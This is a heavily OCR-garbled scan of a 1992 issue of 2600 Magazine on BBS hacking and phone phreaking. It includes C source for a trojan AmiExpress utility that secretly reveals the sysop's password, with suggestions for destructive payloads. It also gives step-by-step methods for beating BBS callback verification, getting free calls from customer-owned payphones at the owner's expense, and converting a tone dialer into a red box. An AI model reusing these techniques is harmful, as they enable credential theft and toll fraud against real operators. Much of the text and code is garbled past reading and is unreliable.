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Hacking AmiExpress

by Swinging Man

The recert ortizle on gecerity halse in
WY BESTs ol me o thinking. Where
WY 55 the oard ol choice among chone
sysaps, Amillzpress 1s the daminani
soflware ir the Amigs commanity, the
pirate commualy anyway.

ArriExpress is & pelanvely sample piecs
of softwzre, znd that's pood becadse ot
Kiocps things gzick and easy. Mo means ane
provided tor the syscp 1o keep rack of Lop
upleaders or =ven last calicra. What s
provided is a balck file that is exscored
each ime oowser logs off. In ke barch 1,
or: runs atilities o compile data intn bext
files 1ian are siored ss bolleting, That way
the neat user sees 2 hulletin containing the
Lash Lew wsirs Lhat called, el IL's a hassle,
bt it works.

When [ ran my own boasd, I wrole my
own ablities o 12 in thess fanclions. Then
T pat them noan archive aod sent theos s
inle the elher. s good advertising. Blost
syseps G’ winhe Hhelr oan (raeprieefl
they have erough trochle gelting olililies
writtan by orher pecple o can, This means
iL's really easy to Lake sdvanlage of them.

Most ntilites szarch throogh foar files:
BRE:USER DATA, which halds all the
recards of nsers; .r.r.w_EG._u.._u.H...ﬁh._wnﬁHh_n.
{where x i the node nomber and is useally
Gk which reconds all e inpodaat sl a
user does when he's online; RRS: TN oz,
which ix like CallersLog, bul only records
trarsf=rs; and ARS: corfarencseTErx, which
zrs the vanilla A5CI fles conlaining the
oames and Em._un.u._v...m._.._n_m. o all the “*warce.™

TISER TRATA is the most _m:._.n_.n.m_..r.._h. Tf
one weoe B wTite a2 op aploader atility, as
1 v done i lbe past, one woald peed o
apen chiz fils st all the veers by byies
upleaded. While voa've gol the file open,
why not save e aysap’s password [or
later? Thai's what I've done in ike
caanple programn called “5teal C.7 It prints
the best updoader with & soommgly random
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birder arourd kis name. Heze'™s what the
putpar laoks Like:

LiwFgsY XoVaKBfsepnyRE e IEhPrmed Wi

= PRESTO =

LipaFqaY XosA K BaseywrBvoh Frrod Wd

Tt bocdos. ek, bt e diffezence bebenen
b top line and the bollom spells oot
“pRsmatel.” Havy ko soe il you'es Jooking loc i,
et i o' o o0t pareing alkoaiboa o et bookos B
garbage. OF cotrse, yon conkd thirk w2 hetter
method of encryping the pasesond han just
ripbar cvory fow T ki,

This ﬁﬂnwﬂﬁ.ﬂfa.n.m_n#iuﬁ.ﬁ..?ﬂ r.._w_u_.._
arsd s e syeip’s passwonl bul 1% ool the
oty iy i dn it Yioa could do E...._.__"_._.r._.ﬁuu Y
uwT; however, the mone specific the program
Bociem, s boss wsseful o el bcnres B's ool
=asy o pef a sysoq o change wp upleader
it I waoikd Jus to b botor tham the one
e has, ar mayvhe a fake updats.

[ can dhink of endkess fun o have with these
i, b3 abet & BELod conkditiore: v that
formats all drives when o oortadn user bogs on,
sk s Rl Boan ™ O i vl just waol ko
copy UARER.IATA o a download path,
ozl s ok e

Sowhatcan you do if yon e an AmdExpress
sysop? Dt use wtilines Soinan by asyon:
olber than yvourself There isn't any other way.
“You can kg the ke oot when a ublay
is rom, but an event-driven actian won't be
ol Dy e ook al tes whichs Ghs ared
ke fior ey ek T Bk sariingzs Jeresscad o DA
are useally intact. O coarse 2 cranching
poogram like IWPLCHDER, witl get e of this
Ard o IMFLCGIND file can be enorypbed with
A prswonl, s gmad ook finding sormething thal
ey, Thenn fzaan, o0 ooald alasgve jost farped o
Te's ardy o TIEA.. yom've prot nodhing to hide
Righr?

Thus idea dsn'l jusd aboul Amitepress,
How many GREs havs doors, or onlioe
garss? How hard would i be lo write a
game [ike TradsWars that has an cxira
oplian thal does any of the nasoy things
woutyE alwavs wanitd 1o da?
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4% Sy=0p Password Stealer v1.0 By Swinging Man
F44 Prints top upleader. . bat ales reyeals SysCp's password

% in the Boarder

AR R RA R R A A PR AR AN RSN RS R FA AR R R FA R S R AR FF FA AR

Finclude <stdich
Finciude <40y e, b
¥include <time b

atruc? userdata { /% 232 bytes Y
™ Sinca | hacked this out, there ara =hl mamy 2

"

I* unknown areas of 1he record

Fruser's nama®y
Muser's password®S
HMuser's FROM field*y
Mphone number fie!d®f
Muser number?)

char ramal3l]:

char pazs|9];

char fromis0l;

char fonal 131

vnsigned short nurnker;
uneigaed shorl leval;
ursigrad sherl ype;
ursignad shert rato;
unsignad she somputes;
unsigried shor posts

char unknownB400;

char base[19]:

unsigred int uninowen_num;
wngigaed int unknown _nuermt;
Lngigaed int unknawn_nomd;
whngigred inl used;

unsignad :nttimel:

ungigned int timaz:

unsigned int bytesong
urisigned int bytesup;
unssgred int Dytelimity
unssgeed int unknown_rumd;
char unkroen 1[45];

Flewel®y

FILE *fp;

sbruet [isf §

char fnama[§7]:

uazignead inl byles_vploaded;
srruct sl Pries;

k

ehar rndi) [

charc;

& = (charirardil;

while(llisalphatell 17 (z<300 2 = icharlrandil;
return il

H

maintl {

At f002

S eype of ratin®!

J*ratia af Ols to one ULYS
SFoamputer type s
ffrurmnmber af poss

.-..-__.
A+

i
ey

*

reonlerencs access®

I"saconds used oday
1*time por day™)
*ehone of aboaee™)
hyles downlozded Y
Mhylas uploaded
Fbyles gval per day®f
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int xy;

wlreot ugardata user;
=lrect list head:
=ruct list *lemp, Hlempd:;

char passweordldl;

char Border[315;
char rarddlef31] - “4a BaT;

headnest = WULL;

ifl{fp = fopeni® bbswserdsta®, " r i == NULLH
printf"Can’t Open Lser Filein™
return 1;
1

M get all users srd put in lisg
whilelfreadiivoid *&user, sraofistruct vserdatal, 1, Iph == 114
iffuser.number == 1) sirepylsassword, usar passl;
ifHuserlevel300) BRluserleval=0l
& & juscr.bytesdn = 011
temz = {=ruct list *)mallocisirenfisiroct il
ifllemp == NULL) {
pranlii"0Out of Memorygl'n® i
et
+
strepyitemEp-=nama, s narel;
tempoeoytes uploaded = useroytesu
ternpd = &head;
whileljtempZ-snext [= MLULL)
B& [tem p2-snest-sbyvles_uploaded)
= (ternpoxbytes_uploadedl [
lempd = lernpZ el
1
[ermp-rnexl = lempd-mrexl;
[empEcenaxt = l&mp;
H
]
fehagafsl:
tarmp = haad. rexs;
zrandi{unsigned inttimalWULL):
W= 0
TarixDoe 300 +) bordar|a] = rrd();
Erorder]30] = Y
ernlll “Esn  border};
rncpylfumiddie] 16strleniternp-»namal2i Llamp-=namestrleniem p-anameli;
printf|* %5 0", middlel;
farix=1:3<50x+-4) barder[x] = passaward(y+r+];
privifi*%ain” berder):
t
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THE ALLTANMCE AGAINST FRAUT IN TELEMARKETING
MNATIOMNAL CONSUMERS LEAGURE

THE TOP TEN SCAMS OF 1991

1. FOSTCARD GUARAMTEED PRILE CFFERS
ow Arr A DEFINITE Winner

20 ADNVANCE FLEE LOANS
A Snrall Fes For Procerring The Appiicarian

5. FRAUDULENT 30 HUMEBER PROMOTIONS
i 0 To Claim Yenr G

4. FRECIOUS METAL INVESTMENT S{IIEMES
Carg Belifon: A A0S Profr Guoranresd Within Sl Morrks

S0T0LL CALL FRAUD
For Fex oo, Cail Ayfiore {2 ke World

. HEADLIME GRABBERS
Thcrrands af Jebr Availshles Heln Brbedtd ol

T, MMRECT DERT FROM CHECKING aCCOUNTS
Givr U Fone Checking Arocwar dumbar: W'l Handie The Segr

BOOPHONY YELLOW PAGES [MYONCES

Fend L Faur Lkazk Trday Tor Aloke Soer Four Firm & Lircsd

Q. FHONY CREDIT OARD FROMOTIONS
Bod Cradic? W Crestie? Mp Problen

e COLLEETORS 1NEMS

Feehalpud Toiad A2 A Crocnee Cf Tae Daglar Prics

Tz Aritamcl Mdierar Faan [y Tooirrasel § 1
<0 THE Ramser, Coemiarras Lrapes

5 Feviivre Seept B, SUME 520N
Weidnrng, D0 200CS

R BB KR

Autupn 1992 2600 Mapazine  Page 7




o

N

|
I
2

[T P BN
thie eorvic

o efonb of gaintag acoass tooa WATS Casienns
ired bagis,

ATET iz satizfTod rdoar wew Rave videmaken sieps 1 seanre

vielytieas

eannics 2 penaliv of oo
o g BILCL Sia @ A=y Fdore soeviny m
e lelzplirares

slizizigs jliis ing, yo0 Ty o se i wTeine 0 ATET Ciepon sz Seeorily,

VWbseen BL)L GEOES ..__.w

T._r..“.

According to Minor Threat, this lefter was received about 3 week after he
had scanned about 50 500 numbers in the 222 prefix sequentially by hand.
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Defeating Callback Verification

by Dr. Delam

S0 you feel you've finally met
vour match. While applying at this
board that you've applied at
before, you use a fake name,
address, and phone number. Then
comes the pan you hate masi: the
caliback verification, “How in hell
am | going 1o get access without
giving cut my real number?! |
guzss I'll just have to ‘engineer’
the sysop.” Only thiz padicular
sy=0p % tea good. He tries a voice
verificatian, and finds either a bad
number or someona who dossnt
even know whal a BBS is. Now
you have to reapply againd If you
worked {ar the phone company or
kEnew how to hack it, maybe you
could zet yoursell up with a
temporary number, Bt
unfariunately you don't. Se you
think hard and come ug with an
iea: "all | naed is a logal direct
digl VKB, Then | can just have the
syzop call that and make him think
it's my homs WMB system... that
iz, if | can find one fo hack.”

Maw, siill 100 hard. There must
be an easiar way. Loop? Mo, wha
wards o wait forever on a loop -
every o often talking with Fred
the pissed-off lineman. What else,
what elsa? You can remember {he
things you wsed to do as a kid
befora you even knew what
phreaking ar hacking was. How
about the tlime you called yvour
friemd Chriz and al some point in

Autnmn Fee2

the conversation, when things got
borng, Chris said “I'm gonna call
Mike now. Bye!” Bul you didn't
wart to hang up, You heard click,
click... bul no dialtona. You say
“Helle?" and suddenly you haar
Chris shout *‘Hang up the phone!”
Haha! You had dizcovered a new
trick! If you originated the call, you
had ultimate cerdroll “That means
if | call a BES and d hangs up first,
| actually am still connected to the
ling for a brief pariad {usually a
maximum of 15 seconds): and if
the BES picks up agam to dial ma
tor callback verfication, / will gel
meg for sure, regardless of the
number it hast”

This lgaves just tve problems to
solve,

The first problam coours when
your modem senses a drop in
DTR ar less in carrier from the
BBES's modem, it will go on-hook.
Thiz means vou will have 10 catch
the phone before your maodam
hargs up. Your medem may have
a selting that will ignare these
changess. If not, you can build a
busy switch. This may be done by
placing a 1K chm resiztor and an
SPST awitch between the rng and
tip {red and green) wires of your
phane ling. Completing this circut
at any time while online has 1he
effect of 8 permanent off hook
condition. The resistance provided
is equivalent o the resistance
present wWhen yaur phone iz off

2600 Magazine FPage ¥




hoak, thus creating a conditicn the
.0 recognizes as off hook, Wilh
good soldaring and a good swilch,
no interference will be present
alter the switch is thrown while
connecied.

Mole: Sysops may find the busy
gwitch usetul as a confirmation
that the phang ling is “husied out®
when the BBS is taken down.
Somealimes during down times a
reboot or power down s
necessary, which will cancel any
busying effects the modem had
set previously, making a busy
gwitch in this case |deal. The
second probleam occurs when the
BES's madem expects a dighone
after going from on hook to off
hook. & dialtone will have to be
pravided for the BES's madem
before it will try dialing whatever
phone number you provided. This
requirgs what | call a “CAVERM
box" (CAllback VERHicatioM}. Like
many other Baxas, | is a zimgle
generalian of tones. For a cheap
and inexpensive method, use a
tape recorder {9 record and play
back the dialtone. Compuler
gound generation hasn been
lested, but most PC speakers
genarate a square wave, whileg
diafones are slnusoidal. The best
chance for accurate, artiticial
sound generalion is with a
synthesizer. The two frequencies
of a diattena are 300hz and 420hz.
Many musicians recognize
440.00hz as the nole A4, and the
frequency from which scales are
buitt. Just below A4 on an equal

termperad chromatic scale is Gid
at 415.30hz. Tuning a syrdhesizer
just shy of a positiva quarter tone
frem the normal scale will vield a
G#4 &t 420hz and bring the D4 of
2£93.66hz within an acceptable
range of J00he,

Meedless to say, once you have
prevented your modem from
hangirg up and have generated a
dialtone which has effectively
caused the BBS's madem to dial
the phane number, you should
issUE an answar tone by typing the
Hayes *"ATA™ command. You will
then be connected with the BBS's
madem and will have projected
your identification.

Thanks fo Gresn Hall far same
help in generating concepls
presented.

WRITE FOR 2500!
SEND YOUR ARTICLES TO:
2600 ARTICLE SUBMISSIONS -
PO BOX 949
MIDDLE ISLAND, NY 11953
INTERNET: 2600@well.sf.ca.us
FAX: (516) 751-2608
Hemember, all writers get free
subscriptions as well as free
ACCOUNtS on oUr Wice mail system.
To contact a 2604 writer, call 0700-
751-2600. If you're not using AT&T,
preface that with 10288, Usa touch
tones to track down the writer
you'ra laoking for. Oversaas callers
¢an call our office (516) 751-2600
and we'll forward the message.
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AZIUATMEFT LETTER
ZRLEING SARD FRAOD CLAINS
bome_
Tuebkoxar Hama
Straat rZdraap
Citw, ETate
e [AsTeyCh Mumkes)

Dear L
Your ATET calllog Card iz a walesble seevies Ea Rely omat

&11 your long diatsnce nesds, ATET im ceocerned with gquiakly
reeclving ary usguthorized cherges aseccizted wich yovr ATET
Callirg Card., -In raopspks B0 ¥odr Fegiesit, We kave rexoved the
2lnputed chargea from your mocount. This ovedir 1s oade papding
an lrvedtigztion ef yaus @laln by ATET.

To faellitatd thae inveakigaeien of your =lein, wutaﬂi cocplate
tha botrom parkden of thie latter.  Faad the frnforoekien, .
degorika the facts surroumdimg yeur clefm, ipcluda mny rslevare
dosumentatish thaT You gay have, slgn ernd return it ts us 1o tha
ancledad poskacse-pa anTalapa.

[Flozaa ceaplata this portior z2rd raturn To ATLT Sacusrieoy. |
LTET Corporate Sscarity

r-0. Box Lix?
Roswall, Seargls 10077-18z7

a0 Ry df E2111% atskapentie); long distance chorges for
malls Tn t53 smsunt of 4 were Bllled to oy talepherns
naakax v TEEse 2alla ware not mada er puthazizod
¥ mo. I hove rafelved AR adiuetzent for theps callo and

uafaratend that thls adjustment 1ls made pending am Lpvextlgetior
of my =lalz by RTET Secuvity,

(Fluass doscrite tha rzcots which lsEd y=a1 o Rallevs those cally
are unauthoerizad,  You Tay aktech edditlonal shests i needsd.)

e ———

-

Iowiil cooparake wiek ATST Sesurlty in Investlgeting oy <lailx.

mﬁﬂﬂni __Oera o
Feire Faca_ s

Soclel fpatrify Fertar
apzsunt Noskar :

If vou Rave eny guesticnc, Fioasm call ATLY EEccrity at
£50° 15£6-4071 or 100 1464074,

Slpcdraly,

Aczount Fapraszantstive

WHAT A GREAT SCAM TO GET SOCTAL SECURITY NUMBERS!
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PHONE MANAGEMENT ENTERPRISES
206 WASHINGTON AVENUE
CARLETADT, NEW JERSEY 07072
{201} S07-1951

FAX {201) 507-1005

TH1% LETTEA I5 BECGARDING TDUR BECENT REQUZST FOR A __nw_..._.“n_ o ..h._".ﬂ
_”_.r._.,..;...mn.mm.._.Hwn Y0 USED.  WE RPOLGGIIE FOR AMY [RCONWVEHRTEKCE THIG
VAT EHAWE CAUEFD YOU ARMD WE BR3SURE C ¥oU, TR FROBLEHM HAE BERH

COREECTED,

HE RREE BRCLOSIES, IM LIED OF A CAZI REFOHD, UNITED ETATES FOSTAL
STAMPS T COVER YOUR LOSS, THIS EEIEG A SAFER WAaY ¥R Y00 TO BR

EASUNE0D OF ¥0UR RASFUED.
SHOULD ¥OU HEVE ANY QUESTIORS, FLEASE Cabf U3 AT [0l) 507-195l.

SIECERELY,

DHOHE HAHACZEERT ENTEAPRISES, INC.

iLeles 1SL

This is what happens when yoo request 3 refund from this company. In this
case, correspondent Winston Smith received two 25 cent stamps which
means be pow has to get two four-cent skamps if he wants 1o mail anything.
Node also that this letter is actually a xerox of a fax that originated with Tri
State Radio Co. The wondrous mysteries of 2 COCOT...

Apfgmn 1292
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SHOPPER'S GUIDE TO COCOTS

by Count Zeva
Reslricted Dala Transmisstion
“Truth Is Chaag, but Informatien
Coslal™

Zo you'ra walking dewn the sireet
and you sea & payphona. Gotte make an
imporiant call, so you dig inte your
pocket 1o get a dime, Picking up the
handsal, vou suddenly netice That the
payphone wants & quareror a lecal cafl!
What the heil, arnd whera did this
synthesized voloe come FomF

Lei's make this aricle shor and 1o
the point. COGOT is an acronym for
Customar Owned  Cain Qperaled
Tiaphona, In cther words, 2 COCOT is
a phone awned or rented _..._”__. a .nrm..__..__h.mq
customer (mest fkety, 8 hotel of deaut
shap). & COCDOT is mof a normal
payphons. Tne telco dossnt awn A, and
the sctual phana lina is useally & norme!
custemer koos {unike payphosres, where
the phone ling is a "speds” payphone
loop, alkowing the use of “csin tones” 1o
indicale monay droppad in}. Sof &
COCOT mey ook and smel like a telog
pEyphane, Balit is nol

Wiy do COCOTe exist? Simpla,
Maney! A customer owned payphone |s
maongy In the bank! You pay maore for
lecal ealls and fong distance |2 Typically
hancled by slaazy carfers that offar
bad'exmansiee servics. The ownerrenter
of the COCOT opens the coinbex and
keeps tha money himdhareet! A'ss a
particudarly sleazy gualiy of a GOCOT i
he Tact that it does nof reseive insaming
calis. Tris, af caurze, |s bacause of
meney. If pgople ara calling in o B
COCOT, the COCOT is nol making
maney and buslnessas a'ways wanl te
rmake 33 much money 85 possible even
if it huns the consumer, Think about in i
__..m_m__._.f_. sucks o call samaane a1 hama
fram a SOCOT and then not be able o
nave him‘her call you back 1o save
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manury, "Guess [l have to kaep faseding
the COSOT quaraers!”

Where iz a good place 10 logk dar
S OTs? Cutsidea Dunkin Donut shops,
restavrants,  cfubs,  bars,  and
autlzidaninside haolels and “conveniant”
focatons.

Heow cix | figure out 4 | hava fourd a
SOGET? Gimpla, A COSOT will have no
ferdco fogos on it It may look just ke a
teloa phese chrema with Bua stekars
and gll that. Also, 8 GOCOT rypleally
tharges more for a fogal call than &
regular = teleo  payphona, o (In
Massachusetts, local calls &% a dine. In
places like Mew York Ciy, they are 25
cantz.) A SOCOT wil most olten hava a
symthaesizad vaice thal asks you to
‘pleaze desosll 25 cents™ ar whalgvar,
Also, soma fancy SGOCATS will not lock
lixe payphoenes al all, Some in hotsls
hava werd LED deplays and look totally
different bul thay alfwaps nm_m_ﬂ.ﬂm Yo
mmara than a normal payphane,

| taurd this welrd payphonse in Boston
that wants & gQuarter, and this
synihasized weice is _._u:wmm__._m mea.
When does tha phen begn? Soon. Firg
al all, you must undarstand that the
COSOT I8 & mrirmic. Essenbally, it wants
you 1z think that it is jusi a glalne ol
payghona. Pick vp the handset, Haar
that dizitone? Hah! That diaitons |s fake,
synthesized by the innards of the
COCOT. You are at ne marey of sha
LOGST, Remambar, & COS0T rums o
ol @ el ewstemer leop 5o, unlike a
talkco peyphore whare wou mus .u.__mnnm._
rianay fo genarate coin tones that zra
read by tha eentral ofice, the saouriy of
a GOCOT depends solaly on the
COCOT phona fdsed. s as if you 100k
your cwn phona and put a sign cn it
saying "Pleaza put 10 cents in this jar for
aviry call you make” COCOTS ara nol
nave. They wan't _m._“. you mEar itha
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unrestriciad dialtana wentil you fork cver
the cesh-ola. Or o theay thing!

i, tha Achillas hael of the COCOT
Iz ihe fzef that 8fl payphonas muss fed
yourmake T-200 calls for freal 115 net just
a lagt, i's the Jaw. Mow pick up the
handsat again and pleca a 1-8300 call,
Any 1-800 numizer will do. When thay
answar ai the other end, just sit thara.
Do nething. Igrare them. Wail for them
1o hang up the phone. Hera's an
Examgla.

Disd 1-500-LOAN-YES,

[Ring, Ring] ... [<lick] "Hello, you
wWanna buy zame money? Halla?
HELLC#I™ [GLICH]

(¥ou will now hear some slatic and
probanly & strangs “waflling” noize, like
chh, ¢hh, chit, chh, chi)

[CLICK] DIALTONE!

Mow what have wa got here? A
dialtone¥ Yes, you guassad it, 1he
claltons yoid now hear la the onrasiisied
diattona of the COGOT s customer locp.

Lo what? So | goi &n “unresiriclad
diahtona”. Big dal?

Meathead! With an vrresfricted
diattena, all you need boda is placa a call
via OTKF tonas (the tonss a towch-tona
keypad generalas). Now, fry dialing a
nurmiar with the GOCOT s Keypad.
Whea! Waitases, ne sound! This |3 &
typical lame atempt a1 proteciion by the
COCOT. Just whip out your, Radio Shack
pocket 1ona dizler and try calling a
numiar, any number, Placs it just as il
you wera calling frem a hama phone.
Call a 1-200 sax line. Cal Guam. You
are frea and the GOGOT S custemes loop
i5 baginng biled!

fota: gome SOCOTS are more
sophistcaled at prolecting themselves.
Some will reser when thay hear the
cialtone, To get &ound this, make a lowd
hezlng sound with your mouth inte thi
meuthpiecse aflar the 1-800 aumbear
hangs up, Get your tone dialer raady
naar tha mouthpiace. When you b the
dialtons, quickly dizl the first dgit of the
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number you want 1o call. It you hilss
lowdly enough, you may ba able lo mask
T saund of Fa dalone and peevent the
COCOT from raseting. Cnoee you dial
the first digit of 1ha number you are
catllng, tha diattone will dizappsar
(naturally). ¥ow can siop hissing e &n
idicd now. Finish digfing your free phosds
call, Also, some SOCOTs actually
cisable the handsar after a call hatgs up
{in atner words, you can't =and DTMF
fones through the mouthpiece), N wll,
battar kack rad tirma.

Hewevar mosl of the COGCOTs | have
run acsress ondy disabls the DTMF
kaypad. So all you need is a pockat
dialar I cisurmyent ris!

Crthar things o know: Sure, pou can't
call a COLOAT, but i1 dees hava a
number. To find oul tha SOCOT's
numter, c3l one of tha autemated Al
services thal el you e number you'ra
dlaling from (the numbsrs kess changing
but thary ara requently ilad in 2503,
Mow 1y caliing the GOCGOT fiom anrsthor
phone. You wit hear one of two things:
1} synthesized voice: *Thank you®
[DTMF 1enes] [SLICK] [hang upl: 2)
wiEind carrier

A COCOT': aurrber iz ol used by
the company that built or s2/d the
COCOT. By caling up & CAOCOT, atech
can meniter it functioning, el In case
mumbar 1, pel must enter & 3 o 4 cigis
password and then youll gat inte a veice
mgree diven program tha'ii fet you da
“malntenanca” stuff with the COEOT.
casa numbear 2, you arg hocked 1o the
SOSOT e 300 bpe modem (Yas, &
modeT in B peyphone). Lkewise, if pou
can figure oul 1the communieaticn:
settings, you'll be Inle the COSOTE
malntenanca routnas.

Persongtly, | haven't had much luck
_Hn___. _"__m&m_._nm_”— with calling up and hacking
COSOT maintenance funciiers, | just
like _._.nm.r__.ﬁ frea n__._n__._n galls frorm tham!

COCOT Etiguatte: Mow, rememoer,
you are making fres phone calls bu
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sameond has to pay for tham and hal is
the owier The SOSOT s customsr loop
is billed 1he cost of the calls, ard if the
ownal sees 3 g diterence In tha profits
mada on the COGOT (profit souals cols
freen the COCOT minus the Bl from the
talco for cosicmar locp), they'll know
semething is up, 5o tha rpla is doa'r
Abrse hamd Do’ call a0 1-500 numbear
and stay on the line far 12 hours!t i &
GOCOT iz abusad severaly, a0 ownsr
will eveniualy lose money on the damn
thing! And that means bya bye COCOT.
Alzo, ramamzar that & record of all long

OO0 X

cstance celis is mede jo the GOLOT s
custarmes loapg and COCOT companlas
will somstimes investigate “killing
distiepansies” 0 don't call anyene you
personally krow unlass you are sure
Chiey are Sl

{RING RING] "Hela ¥

“Hefe, thes i Golntal, Ine Wa'd like 1o
Az you a fow guetions about a call you
recebied from Boston on 29281 Could
you tell us e mame and address of tha
person wha placed the call¥”

Cond dude: “Wral? | dont remsmizern.
Gote bell! [SLAM]"

Meatnead: "Uh, sure, his name is
John Srrith. You want Ris addrass oo

Get the picture? Good....

COoOTe are a great resolroca i we
uze them wisely, like cur ervirenmant.
‘We'va gotta be careiul rot o plundar
tham. Make a few long distance calls
and then leave thet paricutar GOOOT
alone for awhile. Chascas are woor hills
wil ba *absorbed” by 0a profd reargin of
tre owiner and probably Enorad but tha
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srmalied the cwners protil margi gans,
the more likely suspicions will be
araused. ‘nult sald! | have found
CAC0Ts  svarywhera,  CGOLOT
technology |= refatively new, though.
krow many towns thal have nene. Check
o Big citas,

Az for a tone daler, dont leave home
without cnal A frus phresk alweys has s
DTWF tens dialer &t hand aleng with a
rad box! My personal lavarite is the
COMBO-BOX {red box plus DTMF].
Taka a Radio Shack 33-mamory Pocket
Dialer, Opén up the back. Ramowve fe

crysial=small ome

DO0S <D wiras=

little 2.579 MHz erysial {lonks ke o
metal cylindary. Unzclder it Scldar on &
copp'e of thin, sulated wires where the
crystal was attached. Thread the wirss
threegh ‘one of the “vants” in the back of
the tate dizler. Get ahold of & 65536
WHz crysial {availabla thru Fry's
Slecironlcs, B9 canis apiece. phons
nurrhar {415) FAH-27E3]. Ga out ard gel
some guick crylng esoxy and & Radio
Shack mind Toggls Switch, GPOT, cat,
¥275-E26. Clesa tha lena dialer, with e
two wires slicking out cne of tha back
winls, Sorew i up m..m”._". Mow, attach tha
crystels end wires to the switch with
seidar as in the abova ciagram,

Each “xx” prang ia the diapram Is
actuglly twe prengs. Hook up the two
leads {rom 1he crysisls o separate
prongs (sams wits thea wiras),

Mow, epaxy this glrrme D e sida of
tha tone cig'er. Lss 8 fof of spoxy, as
you musl make the switchiorysials
essantially ernbedoed in epoxy reshy, as
in the diagram cn tha nsat page.
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Front Viewr -=

Biacis View =

I T =-togglhs switch

b

|

et

| B 5 =two crystakib=big,s==mall)
I | in epoxy "biob®

v wires running o badk of unit

— p———————————————vant (1 of 4}

_
_
o

Maka ?ﬂuﬁgmif%ﬂig
there Yo war £ b cerain te safich and

orysials ore Ty attached and secure 0 a
rriatrts of epooy i doasn’t condecd secinoy,
0 don't worry about sherting out the
coneclions o he togg's swich), Just don't
guim up e echion of the swiah!

Basicaly, youhvi atered e devics =0y
car selact Detiean tao oryshds 10 genersie
e fming for ther mTophocessar i the tone
£

Turp on thea tone dialer, Mow you can
ashy swheh beteesn the two oyl fpoes.
The smal orysial wil perrag ordnany DTMF
tones, By sirply Licking the switch, you
ganerale figher tones, wEag he memory
function of the ooe dides, ssa bee 2ars in the
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Enaaker

FA iocabon, Mow dia e P ocatos usrg the
g erysial Bua counca ke the tores for a
aars, dossn il

Camying his around wWith wow wil always
oome i handy 'with bth o oeyphones and
COCOTs! Mo phreas shoukd be witein orsl

Rafarences hor this artcde includs Moah
Chrylon's excedand pisce on COCOTsS in 2600
Magazine, Auturr: 1390, Azo The Flague's
artede en Tone Cialer conersion 1o Fed Bow,
200 Magazing, Summar 1950 (which
ingoied me 1o oeak the COMBO-GOK {red
bocea s DT ek,

orrmedion & power.. shane @ And drick,
rrasivie arnounits of Jok Soda, Toost e, £
.m.un.“_._ﬂ..._ﬂ._. Forrp tha laith, and neved siop
segyrhing Tof re frontisns,
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FILM REVIEW

B

Universel Flolures
Starring: Rober Redierd, Ben Kingsley,

Dan Akroyd, River Phosnbe, Joames

Earl Jonés, Sidney Paitier, David

Strathairm, Mary McDonnell.
Eevicw by Emmanue] Goldsicin

A thene's ane ing v cen SeterTing rght off
the bk, i thet Snosswss s st defirisly a fn
firn Bagwheter or sot it & hsckar imis 2 dopas
o 1 et A good ey of e dharscens
are Feackers, O formon lesthens, Ao 4 B D sk
which e Bwem B by B do what ey oo
gzt irk hings thisym ot suppesed 10 be abe 1
el ik Tha difberenon is B! Eas peopks oo i
o prot A b Badd ceone (s encdigh o maka
Fis nron hocker moaka. Al A, Festhars doml
otz el ey’ cha with et i P, Bt Snaakaes
i rrel dedriiely @ fim Ao ackens sice thens s
s FiLoh i e ey of i it s st

The opening scera i a fzsthask fo Se
igeslegically correct era ol anti-war
riarchies and draft cand Burnings. It's atthal
ima that hvn hacesrs (complate with rotary
pkonas ard an acausts couglerd gel inls
sama maar froubla when thoy mass with
Richard Maan's bank acesunl. Tha slaga =
set, the e shitts w2 e presant and cne
ol the hazkers wens io Achert Redfond,
He noew rors & commpary hat st seourity,
for a pharemend fee (Somea of cur fHards
whe poiually de this kind of thing tall us shat
the laa iz shzurdly fow fzr that typa of
wark ) His oooworkars include & bl=d phana
rhraax who has raTarkabla perciaptiva
cowars, a hopslass paransid wha's
conwncad Pat ewarything is & ol of somea
wird an ex-Gla agsnt who deasa'l e to
lals about why ha Isft, and a Kid wha
_...._._m__.,u.._ﬂn_ Fis m_“_..wn__m..m by comipabar, re doabl
after reatng cur Autumin 1238 issue, This
e U bunch, prayad by o well-abava
aserage cast is fodder for unigue siluations
ard dalogue. And 1's about fims

The acten centers arourd the group's
quesi for @ maoic box which can
suppasadly dacrypl &ny BALrypiion
sebed “Themm isa't @ governmsant in thie
wiild that waudr't Kill™ fzr this ®ind of
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rechazlogy, 1they apily surmize, Tha
wristonan of this magie bo is the one ruly
silly @lemirt ol Sheskars, Foriunately, he
ramainng lishhical i550es sontain aniy
riwal flaws, such as lack of a delay on A
multi-sateilita ghona ¢zl or the fact thal
apsrybady 538Ms o vse coTpatibla
equipment. We must recogrize that
Hollywood neads o &ke some [Dertes
‘with rixably.

An tha proup corlinues s quest 120 e
Hoty Box. thay become caught wp in thie
whale FBI.CIA-KEA world, feaving tho
viewer with a [ess than satislacizry
“_._n_m_._.ﬁ_.__“ of how tha wodd of intalligerce
wirks. This was without doubl precisidy th
intarien.

ln many ways, Sreasass is a poliical
shrillar and one whizh doesn't miss an
opperiunity b thraw soma pofitical barbs.
Grarga Bush and tha Repoblican Party ara
fa favorim Wrpels ol his “calrally ahiiiss®
production. Again, ils abaul lire

Bul bast of all iz e facl that Snssksss
at no poeirt res i sand & moral massags
aboul hacking. Rathar, hatkers ang oked
Upan a3 & sealty; hiems ama pecpls who do
thiz kind of thing and thay hava a usaful
plece in society. With tha kind af
intormaton being rocorded thisa days, you
reved soma of thal hacking ability 1o ba ab'a
ta Rgure ot whal's rially happaning . True,
this knowladga can bg misused and
dislorted, as Ta fim Seronstates. Bul that
is humaa natare. 1 thir good hackers were
l2 disappear, only e vl oaes wouald
eI,

Saeskers maragas @ send a senious
TS sa0s without Taxing itse? o sericatly
In T2zl $ha confantation Bataeon e NS4
tigwig (Jamss Earl Jonas] and ths graup
carrying 1he magic box is remarsakly
raminiscar: of Gorofiy and Fisnds msding
tha wizard £fer gatling the Wicked Witch o
the Wests breomstck. & grsal man
probably ence said that the basl way to
send & sesious meassage is threegh humor
Sregksce doss 1his and still xeaps tha
awdence o9 tha edga of heir seats
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People are abways wondering whether or oot telephone company empheyees gel
discounts on their phone hills. Well, we've discovered that NYNEX offers 1wo
elasses of what s known as Telephone Service Allowance (T5ANL This alkwinoe can
be used by NYNEX employees and their families Tor personal use as well as
NYMEX husiness. Forbldden activities ioclude other businesses or political
campalgn activities, The allowance only applies (o the primary residence of the
empboves. Class A service provides & 100 percent allowence while Class B provides
a 50 percent sllowance. These entitled to Class A status include management
emplovees, nonmanagement employess with 30 years or more, retired employees on
s service or disability penslon, and employees with specified job fonctions,
particularly those on call 24 bours 3 day, Those entitled to Class B generally include
emiplovess oot eligible for Class A,
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A Simele Virus in C

